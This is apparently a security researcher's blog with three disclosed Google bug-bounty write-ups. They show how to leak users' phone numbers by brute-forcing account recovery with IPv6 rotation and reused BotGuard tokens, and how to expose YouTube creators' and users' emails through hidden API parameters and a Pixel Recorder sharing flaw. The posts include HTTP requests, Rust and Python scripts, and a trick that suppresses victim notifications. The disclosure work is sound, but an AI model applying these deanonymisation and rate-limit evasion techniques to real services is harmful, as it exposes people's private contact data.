skull's blog

Leaking the phone number of any Google user

Mon, 09 Jun 2025 00:00:00 GMT

A few months ago, I disabled javascript on my browser while testing if there were any Google services left that still worked without JS in the modern web. Interestingly enough, the username recovery form still worked!

This surprised me, as I used to think these account recovery forms required javascript since 2018 as they relied on botguard solutions generated from heavily obfuscated proof-of-work javascript code for anti-abuse.

A deeper look into the endpoints

The username recovery form seemed to allow you to check if a recovery email or phone number was associated with a specific display name. This required 2 HTTP requests:

Request

POST /signin/usernamerecovery HTTP/2
Host: accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359

The cookie and gxf values are from the initial page HTML

Response

HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/name?ess=....&hl=en

This gave us a ess value tied to that phone number we can use for the next HTTP request.

Request

POST /signin/usernamerecovery/lookup HTTP/2
Host: accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Origin: https://accounts.google.com
Content-Type: application/x-www-form-urlencoded
Priority: u=0, i

challengeId=0&challengeType=28&ess=<snip>&bgresponse=js_disabled&GivenName=john&FamilyName=smith

This request allows us to check if a Google account exists with that phone number as well as the display name "John Smith".

Response (no account found)

HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=...

Response (account found)

HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/challenge?ess=...

Can we even brute this?

My first attempts were futile. It seemed to ratelimit your IP address after a few requests and present a captcha.

Perhaps we could use proxies to get around this? If we take Netherlands as an example, the forgot password flow provides us with the phone hint •• ••••••03

For Netherlands mobile numbers, they always start with 06, meaning there's 6 digits we'd have to brute. 10**6 = 1,000,000 numbers. That might be doable with proxies, but there had to be a better way.

What about IPv6?

Most service providers like Vultr provide /64 ip ranges, which provide us with 18,446,744,073,709,551,616 addresses. In theory, we could use IPv6 and rotate the IP address we use for every request, bypassing this ratelimit.

The HTTP server also seemed to support IPv6:

~ $ curl -6 https://accounts.google.com


Moved Temporarily

"#FFFFFF" TEXT="#000000">

Moved Temporarily
The document has moved "https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F">here.

To test this out, I routed my IPv6 range through my network interface and I started work on gpb, using reqwest's local_address method on its ClientBuilder to set my IP address to a random IP on my subnet:

pub fn get_rand_ipv6(subnet: &str) -> IpAddr {
    let (ipv6, prefix_len) = match subnet.parse::() {
        Ok(cidr) => {
            let ipv6 = cidr.first_address();
            let length = cidr.network_length();
            (ipv6, length)
        }
        Err(_) => {
            panic!("invalid IPv6 subnet");
        }
    };

    let ipv6_u128: u128 = u128::from(ipv6);
    let rand: u128 = random();

    let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);
    let host_part = (rand << prefix_len) >> prefix_len;
    let result = net_part | host_part;

    IpAddr::V6(Ipv6Addr::from(result))
}

pub fn create_client(subnet: &str, user_agent: &str) -> Client {
    let ip = get_rand_ipv6(subnet);

    Client::builder()
        .redirect(redirect::Policy::none())
        .danger_accept_invalid_certs(true)
        .user_agent(user_agent)
        .local_address(Some(ip))
        .build().unwrap()
}

Eventually, I had a PoC running, but I was still getting the captcha? It seemed that for whatever reason, datacenter IP addresses using the JS disabled form were always presented with a captcha, damn!

Using the BotGuard token from the JS form

I was looking through the 2 requests again, seeing if there was anything I could find to get around this, and bgresponse=js_disabled caught my eye. I remembered that on the JS-enabled account recovery form, the botguard token was passed via the bgRequest parameter.

What if I replace js_disabled with the botguard token from the JS-enabled form request? I tested it out, and it worked??. The botguard token seemed to have no request limit on the No-JS form, but who are all these random people?

$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000
Starting with 3000 threads...
HIT: +31612345603
HIT: +31623456703
HIT: +31634567803
HIT: +31645678903
HIT: +31656789003
HIT: +31658854003
HIT: +31667890103
HIT: +31678901203
HIT: +31689012303
HIT: +31690123403
HIT: +31701234503
HIT: +31712345603
HIT: +31723456703

It took me a bit to realize this, but those were all people who had the Google account name "Henry" with no last name set, as well as a phone with the last 2 digits 03. For those numbers, it would return usernamerecovery/challenge for the first name Henry and any last name.

I added some extra code to validate a possible hit with the first name, and a random last name like 0fasfk1AFko1wf. If it still claimed it was a hit, it would be filtered out, and there we go:

$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000
Starting with 3000 threads...
HIT: +31658854003
Finished.

In practise, it's unlikely to get more than one hit as it's uncommon for another Google user to have the same full display name, last 2 digits as well as country code.

A few things to sort out

We have a basic PoC working, but there's still some issues we have to address.

How do we know which country code a victim's phone is?
How do we get the victim's Google account display name?

How do we know which country code a victim's phone is?

Interestingly enough, it's possible for us to figure out the country code based off of the phone mask that the forgot password flow provides us. Google actually just uses libphonenumbers's "national format" for each number.

Here's some examples:

{
    ...
    "• (•••) •••-••-••": [
        "ru"
    ],
    "•• ••••••••": [
        "nl"
    ],
    "••••• ••••••": [
        "gb"
    ],
    "(•••) •••-••••": [
        "us"
    ]
}

I wrote a script that collected the masked national format for all countries as mask.json

How do we get the victim's Google account display name?

Initially in 2023, Google changed their policy to only show names if there was direct interaction from the target to you (emails, shared docs, etc.), so they slowly removed names from endpoints. By April 2024, they updated their Internal People API service to completely stop returning display names for unauthenticated accounts, removing display names almost everywhere.

It was going to be tricky to find a display name leak after all that, but eventually after looking through random Google products, I found out that I could create a Looker Studio document, transfer ownership of it to the victim, and the victim's display name would leak on the home page, with 0 interaction required from the victim:

Optimizing it further

By using libphonenumbers's number validation, I was able to generate a format.json with mobile phone prefix, known area codes and digits count for every country.

 ...
  "nl": {
        "code": "31",
        "area_codes": ["61", "62", "63", "64", "65", "68"],
        "digits": [7]
    },
 ...

I also implemented real-time libphonenumber validation to reduce queries to Google's API for invalid numbers. For the botguard token, I wrote a Go script using chromedp that lets you generate BotGuard tokens with just a simple API call:

$ curl http://localhost:7912/api/generate_bgtoken
{
  "bgToken": ""
}

Putting it all together

We basically have the full attack chain, we just have to put it together.

Leak the Google account display name via Looker Studio
Go through forgot password flow for that email and get the masked phone
Run the gpb program with the display name and masked phone to bruteforce the phone number

Time required to brute the number

Using a $0.30/hour server with consumer-grade specs (16 vcpu), I'm able to achieve ~40k checks per second.

With just the last 2 digits from the Forgot Password flow phone hint:

Country code	Time required
United States (+1)	20 mins
United Kingdom (+44)	4 mins
Netherlands (+31)	15 secs
Singapore (+65)	5 secs

This time can also be significantly reduced through phone number hints from password reset flows in other services such as PayPal, which provide several more digits (ex. +14•••••1779)

Timeline

2025-04-14 - Report sent to vendor
2025-04-15 - Vendor triaged report
2025-04-25 - 🎉 Nice catch!
2025-05-15 - Panel awards $1,337 + swag. Rationale: Exploitation likelihood is low. (lol)
Issue qualified as an abuse-related methodology with high impact.
2025-05-15 - Appeal reward reason: As per the Abuse VRP table, probability/exploitability is decided based on pre-requisites required for this attack and whether the victim can discover exploitation. For this attack, there are no pre-requisites and it cannot be discovered by the victim.
2025-05-22 - Panel awards an additional $3,663. Rationale: Thanks for your feedback on our initial reward. We took your points into consideration and discussed at some length. We're happy to share that we've upgraded likelihood to medium and adjusted the reward to a total of $5,000 (plus the swag code we've already sent). Thanks for the report, and we look forward to your next one.
2025-05-22 - Vendor confirms they have rolled out inflight mitigations while endpoint deprecation rolls out worldwide.
2025-05-22 - Coordinates disclosure with vendor for 2025-06-09
2025-06-06 - Vendor confirms that the No-JS username recovery form has been fully deprecated
2025-06-09 - Report disclosed

Disclosing YouTube Creator Emails for a $20k Bounty

Thu, 13 Mar 2025 00:00:00 GMT

Some time back, while playing around with Google API requests, I found out it was possible to leak all request parameters in any Google API endpoint. This was possible because for whatever reason, sending a request with a wrong parameter type returned debug information about that parameter:

Request

POST /youtubei/v1/browse HTTP/2
Host: youtubei.googleapis.com
Content-Type: application/json
Content-Length: 164

{
  "context": {
    "client": {
      "clientName": "WEB",
      "clientVersion": "2.20241101.01.00",
    }
  },
  "browseId": 1
}

The server actually expects browseId to be a string like "UCX6OQ3DkcsbYNE6H8uQQuVA"

Response

HTTP/2 400 Bad Request
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2

{
  "error": {
    "code": 400,
    "message": "Invalid value at 'browse_id' (TYPE_STRING), 1",
    "errors": [
      {
        "message": "Invalid value at 'browse_id' (TYPE_STRING), 1",
        "reason": "invalid"
      }
    ],
    "status": "INVALID_ARGUMENT",
    ...
  }
}

While YouTube's API normally uses JSON requests for web, it actually also supports another format called ProtoJson aka application/json+protobuf

This allows us to specify parameter values in an array, rather than with the parameter name as we would in JSON. We can abuse this logic to provide the wrong parameter type for all parameters without even knowing its name, leaking information about the entire possible request payload.

Request

POST /youtubei/v1/browse HTTP/2
Host: youtubei.googleapis.com
Content-Type: application/json+protobuf
Content-Length: 22

[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]

Response

HTTP/2 400 Bad Request
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2

{
  "error": {
    "code": 400,
    "message": "Invalid value at 'context' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext), 1\nInvalid value at 'browse_id' (TYPE_STRING), 2\nInvalid value at 'params' (TYPE_STRING), 3\nInvalid value at 'continuation' (TYPE_STRING), 7\nInvalid value at 'force_ad_format' (TYPE_STRING), 8\nInvalid value at 'player_request' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.PlayerRequest), 10\nInvalid value at 'query' (TYPE_STRING), 11\nInvalid value at 'has_external_ad_vars' (TYPE_BOOL), 12\nInvalid value at 'force_ad_parameters' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ForceAdParameters), 13\nInvalid value at 'previous_ad_information' (TYPE_STRING), 14\nInvalid value at 'offline' (TYPE_BOOL), 15\nInvalid value at 'unplugged_sort_filter_options' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedSortFilterOptions), 16\nInvalid value at 'offline_mode_forced' (TYPE_BOOL), 17\nInvalid value at 'form_data' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseFormData), 18\nInvalid value at 'suggest_stats' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.SearchboxStats), 19\nInvalid value at 'lite_client_request_data' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.LiteClientRequestData), 20\nInvalid value at 'unplugged_browse_options' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedBrowseOptions), 22\nInvalid value at 'consistency_token' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ConsistencyToken), 23\nInvalid value at 'intended_deeplink' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DeeplinkData), 24\nInvalid value at 'android_extended_permissions' (TYPE_BOOL), 25\nInvalid value at 'browse_notification_params' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseNotificationsParams), 26\nInvalid value at 'recent_user_event_infos' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.RecentUserEventInfo), 28\nInvalid value at 'detected_activity_info' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DetectedActivityInfo), 30",
    ...
}

To automate this process, I wrote a tool called req2proto.

$ ./req2proto -X POST -u https://youtubei.googleapis.com/youtubei/v1/browse -p youtube.api.pfiinnertube.GetBrowseRequest -o output -d 3

If we look at the output at output/youtube/api/pfiinnertube/message.proto, we can see the full request payload for this endpoint:

syntax = "proto3";

package youtube.api.pfiinnertube;

message GetBrowseRequest {
  InnerTubeContext context = 1;
  string browse_id = 2;
  string params = 3;
  string continuation = 7;
  string force_ad_format = 8;
  int32 debug_level = 9;
  PlayerRequest player_request = 10;
  string query = 11;
  ...
}
...

Equipped with this, I started looking around to find any API endpoints with secret parameters that might allow us to leak debug information.

A seemingly secure endpoint

If you ever looked around at the requests sent by YouTube Studio to load the "Earn" tab, you might have noticed the following request:

POST /youtubei/v1/creator/get_creator_channels?alt=json HTTP/2
Host: studio.youtube.com
Content-Type: application/json
Cookie: 

{
  "context": {
    ...
  },
  "channelIds": [
    "UCeGCG8SYUIgFO13NyOe6reQ"
  ],
  "mask": {
    "channelId": true,
    "monetizationStatus": true,
    "monetizationDetails": {
      "all": true
    },
    ...
  }
}

It's used for fetching our own channel data that's displayed on the Earn tab. That being said, it's actually possible to fetch other channel's metadata with this, albeit with extremely few masks:

Request

POST /youtubei/v1/creator/get_creator_channels?alt=json HTTP/2
Host: studio.youtube.com
Content-Type: application/json
Cookie: 

{
  "context": {
    ...
  },
  "channelIds": [
    "UCdcUmdOxMrhRjKMw-BX19AA"
  ],
  "mask": {
    "channelId": true,
    "title": true,
    "thumbnailDetails": {
      "all": true
    },
    "metric": {
      "all": true
    },
    "timeCreatedSeconds": true,
    "isNameVerified": true,
    "channelHandle": true
  }
}

Response

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2

{
  "channels": [
    {
      "channelId": "UCdcUmdOxMrhRjKMw-BX19AA",
      "title": "Niko Omilana",
      ...
      "metric": {
        "subscriberCount": "7700000",
        "videoCount": "142",
        "totalVideoViewCount": "650836435"
      },
      "timeCreatedSeconds": "1308700645",
      "isNameVerified": true,
      "channelHandle": "@Niko",
    }
  ]
}

The masks seemed quite secure. If we tried requesting any other mask that could be sensitive for a channel we don't have access to, we'd be hit with a Permission denied error:

{
  "error": {
    "code": 403,
    "message": "The caller does not have permission",
    "errors": [
      {
        "message": "The caller does not have permission",
        "domain": "global",
        "reason": "forbidden"
      }
    ],
    "status": "PERMISSION_DENIED"
  }
}

Leaking secret hidden parameters

As it turns out, if we dump the request payload for this endpoint with req2proto, we can see there's actually 2 secret hidden parameters:

syntax = "proto3";

package youtube.api.pfiinnertube;

message GetCreatorChannelsRequest {
  InnerTubeContext context = 1;
  string channel_ids = 2;
  CreatorChannelMask mask = 4;
  DelegationContext delegation_context = 5;
  bool critical_read = 6; // ???
  bool include_suspended = 7; // ???
}

Enabling criticalRead didn't seem to change anything, but includeSuspended was very interesting:

{
  ...
  "contentOwnerAssociation": {
    "externalContentOwnerId": "Ks_zqCBHrAbeQqsVRGL7gw",
    "createTime": {
      "seconds": "1693939737",
      "nanos": 472296000
    },
    "permissions": {
      "canWebClaim": true,
      "canViewRevenue": true
    },
    "isDefaultChannel": false,
    "activateTime": {
      "seconds": "1693939737",
      "nanos": 472296000
    }
  },
  ...
}

It seemed to leak the channel's contentOwnerAssociation But what exactly is that?

A look into Content ID

In YouTube, there's certain type of special account known as a Content Manager which are given to a select few trusted rightsholders. With these accounts, it's possible to upload audio/video to Content ID as an asset, copyright claiming any external videos that contain the same audio/video as your asset.

These accounts are particularly sensitive, as the Content Manager account allows you to monetize any videos found that contain similar audio/video. Hence, these special accounts are only given to rightsholders with "complex rights management needs".

YouTube actually provides a watered-down version of this to all 3 million monetized YouTube creators, known as the Copyright Match Tool. This tool only allows creators to request the takedown of videos using their content, rather than being able to monetize them.

The interesting thing is that, the backend of this tool is the same as a Content Manager. The moment a channel gets monetization, a CONTENT_OWNER_TYPE_IVP content owner account is created:

{
  "contentOwnerId": "Ks_zqCBHrAbeQqsVRGL7gw",
  "displayName": "Nia",
  "type": "CONTENT_OWNER_TYPE_IVP",
  "industryType": "INDUSTRY_TYPE_WEB",
  "primaryContactEmail": "@gmail.com",
  "timeCreatedSeconds": "1693939736",
  "traits": {
    "isLongTail": true,
    "isAffiliate": false,
    "isManagedTorso": false,
    "isPremium": false,
    "isUserLevelCidClaimUpdateable": false,
    "isTorso": false,
    "isFingerprintEnabled": false,
    "isBrandconnectAgency": false,
    "isTwoStepVerificationRequirementExempt": false
  },
  "country": "FI"
}

Fun fact: "IVP" actually stands for Individual Video Partnership, the old name for the YouTube Partner Program!

So, we can leak the contentOwnerId of the IVP content owner tied of the channel, but what exactly can we do with this? After doing some research, I found the YouTube Content ID API, which is an API intended for rightsholders with a Content Manager account. The contentOwners.list endpoint looked particularly interesting. It took in a Content Owner ID and returned their "conflict notification email".

Unfortunately, the API seemed to be validating that I didn't have a Content Manager account, and just returned forbidden for any request:

{
  "error": {
    "code": 403,
    "message": "Forbidden",
    "errors": [
      {
        "message": "Forbidden",
        "domain": "global",
        "reason": "forbidden"
      }
    ]
  }
}

Even though this endpoint is only intended for those with a Content Manager account, I had a suspicion that an IVP Content Owner might still work.

I asked a friend of mine with a monetized YouTube channel test out this endpoint in the API explorer, and it worked.

{
  "kind": "youtubePartner#contentOwnerList",
  "items": [
    {
      "kind": "youtubePartner#contentOwner",
      "id": "kdVwk95TnaCSLJJfyIFoqw",
      "displayName": "omilana7",
      "conflictNotificationEmail": "@yahoo.co.uk"
    }
  ]
}

The conflict notification email was the channel's email at the time the channel got monetized!

Interestingly enough, for whatever reason, even though it worked in the API explorer, you couldn't actually add this API to your own Google Cloud project since it only whitelisted users with an actual Content Manager account. That didn't matter though, we could simply call this API with the API Explorer's client.

Putting the attack together

We have both parts we need for the attack, let's put it together!

Fetch /get_creator_channels with includeSuspended: true to leak the victim's IVP Content Owner ID.
Use the Content ID API Explorer with a Google account tied to a monetized channel to fetch the conflict notification email of the victim's IVP Content Owner
Profit!

Timeline

2024-12-12 - Report sent to vendor
2024-12-16 - Vendor triaged report
2024-12-17 - 🎉 Nice catch!
2025-01-21 - Panel awards $13,337. Rationale: Normal Google Applications. Vulnerability category is "bypass of significant security controls", PII or other confidential information.
2025-01-21 - Clarified to vendor that this was rewarded under "Normal Google Applications". However, www.youtube.com and studio.youtube.com are Tier 1 domains. See: https://github.com/google/bughunters/blob/main/domain-tiers/external_domains_google.asciipb
2025-01-23 - Panel awards an additional $6,663. Rationale: Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is "bypass of significant security controls", PII or other confidential information.
2025-02-10 - Coordinates disclosure with vendor for 2025-03-13
2025-02-13 - 🎉 Google VRP awards swag
2025-02-21 - Vendor confirms issue has been fixed (T+71 days since disclosure)
2025-03-13 - Report disclosed

Additional notes

It turns out that the includeSuspended parameter could've also been found from the InnerTube discovery document.

When you try to fetch the discovery document normally, you get the following error:

Request

GET /$discovery/rest HTTP/2
Host: youtubei.googleapis.com

Response

HTTP/2 405 Method Not Allowed
Content-Type: text/html; charset=UTF-8

It seems that youtubei.googleapis.com has some ESPv2 rule set to block GET requests for whatever reason.

I quickly found out we can actually bypass this by sending a POST request, and then overriding it to GET with X-Http-Method-Override to get around the block GET rule:

Request

POST /$discovery/rest HTTP/2
Host: youtubei.googleapis.com
X-Http-Method-Override: GET

Response

HTTP/2 200
content-type: application/json; charset=UTF-8

{
  "baseUrl": "https://youtubei.googleapis.com/",
  "title": "YouTube Internal API (InnerTube)",
  "documentationLink": "http://go/itgatewa",
  ...

Update 2025-03-01: both the prod (archive) and staging (archive) discovery documents have since been removed.

If we Ctrl-F for GetCreatorChannelsRequest, we can find the includeSuspended parameter:

  ...
  "YoutubeApiInnertubeGetCreatorChannelsRequest": {
      "id": "YoutubeApiInnertubeGetCreatorChannelsRequest",
      "properties": {
        "channelIds": {
          "items": {
            "type": "string"
          },
          "type": "array"
        },
        ...
        "includeSuspended": {
          "type": "boolean"
        },
        ...
      },
      "type": "object"
    },
  ...

Leaking the email of any YouTube user for $10,000

Wed, 12 Feb 2025 00:00:00 GMT

Some time ago, I was looking for a research target in Google and was digging through the Internal People API (Staging) discovery document until I noticed something interesting:

   "BlockedTarget": {
      "id": "BlockedTarget",
      "description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",
      "type": "object",
      "properties": {
        "profileId": {
          "description": "Required. The obfuscated Gaia ID of the user targeted by the block.",
          "type": "string"
        },
        "fallbackName": {
          "description": "Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.",
          "type": "string"
        }
      }
    },

It seemed the Google-wide block user functionality was based on an obfuscated Gaia ID as well as a display name for that blocked user. The obfuscated Gaia ID is just a Google account identifier.

That seemed perfectly fine until I remembered this support page:

So, if you block someone on YouTube, you can leak their Google account identifier? I tested it out. I went to a random livestream, blocked a user and sure enough, it showed up in https://myaccount.google.com/blocklist

The fallback name was set as their channel name Mega Prime and the profile ID was their obfuscated Gaia ID 107183641464576740691

This was super strange to me because YouTube should never leak the underlying Google account of a YouTube channel. In the past, there's been several bugs to resolve these to an email address, so I was confident there was still a Gaia ID to Email in some old obscure Google product.

Escalating this to 4 billion YouTube channels

So, we can leak the Gaia ID of any live chat user, but can we escalate this to all channels on YouTube? As it turns out, when you click the 3 dots just to open the context menu, a request is fired:

Request

POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2
Host: www.youtube.com
Cookie:

Response

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2

{
  ...
  "serviceEndpoint": {
    ...
    "commandMetadata": {
      "webCommandMetadata": {
        "sendPost": true,
        "apiUrl": "/youtubei/v1/live_chat/moderate"
      }
    },
    "moderateLiveChatEndpoint": {
      "params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="
    }
  }
  ...
}

That params is nothing more than just base64 encoded protobuf, which is a common encoding format used throughout Google.

If we try decoding that moderateLiveChatEndpoint params:

$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64
 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
  5 {
    1: "UChs0pSaEoNLV4mevBFGaoKA"
    2: "36YnV9STBqc"
  }
}
10: 0
11: 1
12 {
  1: "113907466537670370590"
  2: "SE-aYOb-uCg059qHRis_ow"
}
14: 0

It actually just contains the Gaia ID of the user we want to block, we don't even need to block them!

Let's check out the get_item_context_menu requests params too:

$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
3 {
  5 {
    1: "UChs0pSaEoNLV4mevBFGaoKA"
    2: "36YnV9STBqc"
  }
}
6 {
  1: "UCSE-aYOb-uCg059qHRis_ow"
}

Seems to just contain the channel ID of the channel we're blocking, the livestream video ID and livestream author ID. Let's try to fake the request params with our own target's channel ID.

For this test, we'll use a Topic Channel since they are auto-generated by YouTube and guaranteed to not have any live chat messages.

$ echo -n "" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=

Testing this on /youtubei/v1/live_chat/get_item_context_menu:

...
"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}
...

echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
  5 {
    1: "UChs0pSaEoNLV4mevBFGaoKA"
    2: "36YnV9STBqc"
  }
}
10: 0
11: 1
12 {
  1: "103261974221829892167"
  2: "D2LZAT1j1DyVXq2R2BdusQ"
}
14: 0

We can leak the Gaia ID of the channel - 103261974221829892167

The missing puzzle piece: Pixel Recorder

I told my friend nathan about the YouTube Gaia ID leak and we started looking into old forgotten Google products since they probably contained some bug or logic flaw to resolve a Gaia ID to an email. Pixel Recorder was one of them. Nathan made a test recording on his Pixel phone and synced it to his Google account so we could access the endpoints on the web at https://recorder.google.com:

When we tried sharing the recording to a test email, that's when it hit us:

Request

POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2
Host: pixelrecorder-pa.clients6.google.com
Cookie: 
Content-Length: 80
Authorization: 
X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro
Content-Type: application/json+protobuf
Referer: https://recorder.google.com/

["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]

Response

HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"vrptest2@gmail.com"]]]

This endpoint was taking in the obfuscated Gaia ID and... returning the email?

We tested this with the obfuscated Gaia ID 107183641464576740691 we got from blocking that user on YouTube a while back and it worked:

HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"redacted@gmail.com"],[null,2,"vrptest2@gmail.com"]]]

A small problem: preventing notification to the target

It seems that whenever we share a recording with a victim, they receive an email that looks like this:

This is really bad, and it would lower the impact of the bug quite a lot. On the share pop-up, there didn't seem to be any option to disable notifications.

I tried leaking the full request proto via my tool req2proto, but there was nothing about disabling the email notification:

syntax = "proto3";

package java.com.google.wireless.android.pixel.recorder.protos;

import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";

message WriteShareListRequest {
  string recording_id = 1;
  string delete_obfuscated_gaia_ids = 2;
  ShareUser update_shared_users = 3;
  string sharing_message = 4;
}

message ShareUser {
  string obfuscated_gaia_id = 1;
  java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;
  string email = 3;
}

Even trying to add and remove the user at the same time didn't work, the email was still sent. But that's when we realized - if it's including our recording title in the email subject, perhaps it wouldn't be able to send an email if our recording title was too long.

We hacked together a quick python script to test this out:

import requests

BASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"

headers = {
    "Host": "pixelrecorder-pa.clients6.google.com",
    "Content-Type": "application/json+protobuf",
    "X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",
    "Origin": "https://recorder.google.com"
}

def get_recording_uuid(share_id: str):
    payload = f"[\"{share_id}\"]"
    response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)
    if response.status_code != 200:
        print("unknown error when getting recording uuid: ", response.json())
        exit(1)
    try:
        response = response.json()
    except:
        print('can\'t parse response when getting recording uuid: ', response.text)
        exit(1)

    return response["recording"]["uuid"]

def update_recording_title(share_id: str):
    x = 'X'*2500000 # 2.5 million char long title name!
    payload = f'["{share_id}","{x}"]'
    response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)
    if response.status_code != 200:
        print("unknown error when updating recording title: ", response.json())
        exit(1)

def main():
    share_id = input("Enter share ID: ")
    headers["Cookie"] = input("Cookie header:" )
    headers["Authorization"] = input("Authorization header: ")
    uuid = get_recording_uuid(share_id)
    print("UUID:", uuid)
    update_recording_title(uuid)
    print("Updated recording title successfully.")

if __name__ == "__main__":
    main()

... and the recording title was now 2.5 million letters long! There wasn't any server-side limit to the length of a recording name.

Trying to share the recording with a different test user... bingo! No notification email.

Putting it all together

We basically have the full attack chain, we just have to put it together.

Leak the obfuscated Gaia ID of the YouTube channel from the Innertube endpoint /get_item_context_menu
Share the Pixel recording with an extremely long name with the target to convert the Gaia ID to an email
